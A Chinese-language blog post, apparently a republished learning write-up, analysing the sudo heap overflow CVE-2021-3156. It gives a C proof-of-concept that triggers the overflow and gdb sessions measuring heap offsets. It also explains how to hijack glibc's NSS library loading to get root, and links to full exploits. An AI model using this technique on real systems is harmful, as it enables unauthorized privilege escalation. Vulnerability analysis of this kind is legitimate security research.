CVE-2021-3156 sudo heap-overflow
2021-02-01 01:00:00 Author: bestwing.me(查看原文) 阅读量:487 收藏

漏洞背景

1 月26 日的时候, 有文章披露了 sudo 代码中存在 堆缓冲区溢出,于是花了漫长的时间尝试写相关利用, 本文以学习笔记为主。完整利用可见

https://gist.github.com/WinMin/9607a076d847f5768f372988762638f9

The Qualys Research Team has discovered a heap overflow vulnerability in sudo, a near-ubiquitous utility available on major Unix-like operating systems. Any unprivileged user can gain root privileges on a vulnerable host using a default sudo configuration by exploiting this vulnerability.

Sudo is a powerful utility that’s included in most if not all Unix- and Linux-based OSes. It allows users to run programs with the security privileges of another user. The vulnerability itself has been hiding in plain sight for nearly 10 years. It was introduced in July 2011 (commit 8255ed69) and affects all legacy versions from 1.8.2 to 1.8.31p2 and all stable versions from 1.9.0 to 1.9.5p1 in their default configuration.

Successful exploitation of this vulnerability allows any unprivileged user to gain root privileges on the vulnerable host. Qualys security researchers have been able to independently verify the vulnerability and develop multiple variants of exploit and obtain full root privileges on Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). Other operating systems and distributions are also likely to be exploitable.

漏洞分析

这里以 sudo 1.8.31 版本作为分析目标。 ubuntu 20.04.1 作为系统分析环境

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main(){

int obufsz = 8;
char obuf[obufsz];
memset(obuf, 'B', sizeof(obuf));
obuf[obufsz-2] = 0x5c;
obuf[obufsz-1] = 0x00;
char *args[] = {
"/usr/bin/sudoedit",
"-s",
obuf,
NULL
};

char *extra_args[] = {
"X/X\\",
"a",
"LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAA",
NULL,
};

execve(args[0], args, extra_args);



}

漏洞产生的代码位于 plugins/sudoers/sudoers.cset_cmnd 函数

image-20210201141621764

首先通过 854 处,为 sudoedit -s 后的字符长度分配内存空间, 即 user_args, 当代码处理到 866 处的时候, 如果参数为如下结构,即

1
2
3
4
5
6
7
pwndbg> p NewArgv[0]
$4 = 0x55555557183e "sudoedit"
pwndbg> p NewArgv[1]
$5 = 0x7fffffffee13 "BBBBBB\\"
pwndbg> p NewArgv[2]
$6 = 0x0
pwndbg>

第一次拷贝 会将 B 拷贝到 user_args 里,然后 from ++

B 拷贝完, from[0] == '\\' , 且from[1] 不为空的时候, 此时 from ++ , 然后又进到这个 while 循环, from 后面的数据

1
2
3
4
pwndbg> p from[0]
$3 = 92 '\\'
pwndbg> p from[1]
$4 = 0 '\000'

这个时候 from 后面的数据为环境变量设置的数据, 即这里此时 from[0]X/X 。最终结果就是 user_args 被越界

漏洞利用

三种利用思路

原作者的提到了, 他们通过随机添加 LC_* 等环境变量来风水堆布局, 产生了数十种 crash 样本,其中有三种利用思路,

(1)通过覆写 sudo_hook_entry 结构体

该部分代码位于 `src/hooks.c`  107行 , 总体思路为 通过堆溢出,劫持函数指针getenv_fn 的低两位, 通过爆破的方法将函数劫持到 `execv` 来执行我们的程序。 该思路已经有公开的利用代码,  可见[Github](https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156)

(2) 通过覆写 service_user 结构体

该部分代码位于 glibc 源代码中的 `glibc-2.31/nss/nsswitch.c` 的330 行, 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
327 static int
328 nss_load_library (service_user *ni)
329 {
330 if (ni->library == NULL)
331 {
...
338 ni->library = nss_new_service (service_table ?: &default_table,
339 ni->name);
...
342 }
343
344 if (ni->library->lib_handle == NULL)
345 {
346
347 size_t shlen = (7 + strlen (ni->name) + 3
348 + strlen (__nss_shlib_revision) + 1);
349 int saved_errno = errno;
350 char shlib_name[shlen];
351
352
353 __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
354 "libnss_"),
355 ni->name),
356 ".so"),
357 __nss_shlib_revision);
358
359 ni->library->lib_handle = __libc_dlopen (shlib_name);

我们通过覆盖 ni->name ,让程序去 ___libc_dlopen 加载我们编写的 libc 库, 在加上 __attribute__ ((constructor)) 的魔术方法,来让加载 libc 后第一时间执行我们的代码,

(3)通过覆写 def_timestampdir 结构体

将def_timestampdir覆盖为一个不存在的目录。然后我们可以与sudo的`ts_mkdirs()`竞争,创建一个指向任意文件的符号链接。并且尝试打开这个文件,向其中写入一个struct timestamp_entry。我们可以符号链接将其指向/etc/passwd,然后以root打开他,然后实现任意用户的注入从而root

这个类似的利用似乎也有 [Github](https://github.com/r4j0x00/exploits/blob/master/CVE-2021-3156/exploit.c)

编写利用

这里简单描述一下,我之前调试编写利用第二种方法的过程

首先我们知道了 sudo 代码会根据环境变量中的 LC* 来分配释放堆布局

in setlocale(), we malloc()ate and free() several LC environment variables (LC_CTYPE, LC_MESSAGES, LC_TIME, etc), thereby creating small holes at the very beginning of Sudo’s heap (free fast or tcache chunks);

其次,我们需要明确我们的目标是,我们要让分配的 user_args 结构体 与 service_user 结构体两者间的距离越近越好,因此,我们通过(fuzz 和 手动调试的方法来风水堆布局。

那么如何判断两者间的距离呢? 首先我们对分配 user_args 代码处下断, 即 b sudoers.c:854 , 然后对使用 service_user 处下断,,即b nsswitch.c:330

由于我们的利用是通过 execve 来执行 sudoedit , 因此我们调试的是我们编写利用程序的子进程,因此还需要设置下 gdb 的调试模式

1
2
catch exec
set follow-exec-mode new

这样就行了, 我将以上东西集成到一个 gdb 调试脚本中,

1
2
3
4
5
6
7
catch exec
set follow-exec-mode new
r
b policy_check
c
b sudoers.c:854
b nsswitch.c:330

然后挂上调试器 gdb exploit -x gdbscript , 查看两者偏移,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
In file: /home/swpwn/Desktop/CVE-2021-3156/sudo-SUDO_1_8_31/plugins/sudoers/sudoers.c
849 size_t size, n;
850
851
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
859












这里的 tcachebins 是我们即将分配的 user_args chunk,具体分配是哪个, 取决于 user_args 的大小, 然后再 c 一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
In file: /home/swpwn/glibc-2.31/nss/nsswitch.c
325 #if !defined DO_STATIC_NSS || defined SHARED
326
327 static int
328 nss_load_library (service_user *ni)
329 {
330 if (ni->library == NULL)
331 {
332







获取 ni 的地址, 与上面的 tcachebins 进行比较, 越近越好, 我最初的利用脚本两者偏移最小为 0x700 左右,然后中间一路覆盖过去

image-20210201152543462

ni->name 覆盖为 “X/X” ,其余内容以 \0 覆盖,这里会涉及一个问题,那么就是如何传入\00 字符呢? 我们知道 参数和环境变量都是不允许写入 \x00的,否则将被截断。通过阅读代码和调试我们最终发现 我们可以单独的 \\ 字符来作为一个 \x00 字符。

最后提及一下,非源码调试的方法,因为当我编写利用后,在本地执行是成功了,但是换了一个机器,即非编译的 sudo 的程序执行的时候却,失败了,这个时候发现自己编译的和系统自带还是不一样的,于是我又写了一个不是自己编译的利用。

当非源码调试的时候,由于漏洞函数是位于 sudoers.so中,该 so 库并不是一开始就加载的,我们没法在没有符号 和 没有加载的情况下直接下断,所以我们在我们的 payload 设置一些特殊的字符, 比如 0xdeadbeaf 比如我这里设置一个单独的设置 args 参数为 ”BBBBBB”

以及我们再选择对 libc 中的 __libc_dlopen_mode 函数下断,因为我们最终的目的是 dlopen 我们的目标 so 程序,以及下到这个,也相当于到了 nss_load 函数附近了。

但是对这个 __libc_dlopen_mode 可能需要 glibc 的调试符号,可以通过 apt install libc6-dbg 来安装,以及下断需要开启 Pending Breakpoints 功能

1
2
3
4
5
6
# cat gdbscript
catch exec
set breakpoint pending on
set follow-exec-mode new
r
b __libc_dlopen_mode

执行 gdb ./exploit -x gdbscript

c 一次, 断到 __libc_dlopen_mode 这是第一次 sudo 在执行 set_cmnd 之前 getpwuid 的 nss_load 操作

再 c 一次 , 这个就是 set_cmnd 之后就的 nss_load , 此时就是溢出之后的, 我们可以通过 search BBBB

1
2
3
4
5
pwndbg> search "BBBB"
[heap] 0x555555588bc0 0x4242424242424242 ('BBBBBBBB')
[heap] 0x555555588bc4 0x4242424242424242 ('BBBBBBBB')
[heap] 0x555555588bc8 0x4242424242424242 ('BBBBBBBB')

来看我们分配的堆的位置

以及查看此时的寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────
*RAX 0x7fffffffb2ea ◂— 0x336a00322e6f732e /* '.so.2' */
*RBX 0x555555585df0 —▸ 0x5555555891e0 ◂— 0x4300206100582f58 /* 'X/X' */
RCX 0x322e
*RDX 0x582f58
*RDI 0x7fffffffb2e0 ◂— 'libnss_X/X.so.2'
RSI 0x80000002
*R8 0x555555585df0 —▸ 0x5555555891e0 ◂— 0x4300206100582f58 /* 'X/X' */
*R9 0x7fffffffb1f0 ◂— 0x0
*R10 0x10
R11 0x7ffff7f37be0 (main_arena+96) —▸ 0x5555555a06e0 ◂— 0x0
*R12 0x5555555891b0 ◂— 0x0
*R13 0x5555555891e0 ◂— 0x4300206100582f58 /* 'X/X' */
*R14 0x7fffffffb2f0 —▸ 0x7ffff7f0336a ◂— 0x6225206125000200
*R15 0x16
*RBP 0x7fffffffb340 —▸ 0x7fffffffb3a0 ◂— 0x0
*RSP 0x7fffffffb2d8 —▸ 0x7ffff7e9262c (nss_load_library+364) ◂— mov r10, qword ptr [rbp - 0x48]
RIP 0x7ffff7eae930 (__libc_dlopen_mode) ◂— endbr64

0x5555555891e0 地址为要被覆盖的目标

1
2
pwndbg> p/x 0x5555555891e0 - 0x555555588bc0
$1 = 0x620

通过这样的方法来查看两者的偏移

最后的利用见 https://gist.github.com/WinMin/9607a076d847f5768f372988762638f9

image-20210201155514383

Reference

https://visualgdb.com/gdbreference/commands/set_stop-on-solib-events

https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt


文章来源: https://bestwing.me/CVE-2021-3156-analysis..html
如有侵权请联系:admin#unsafe.sh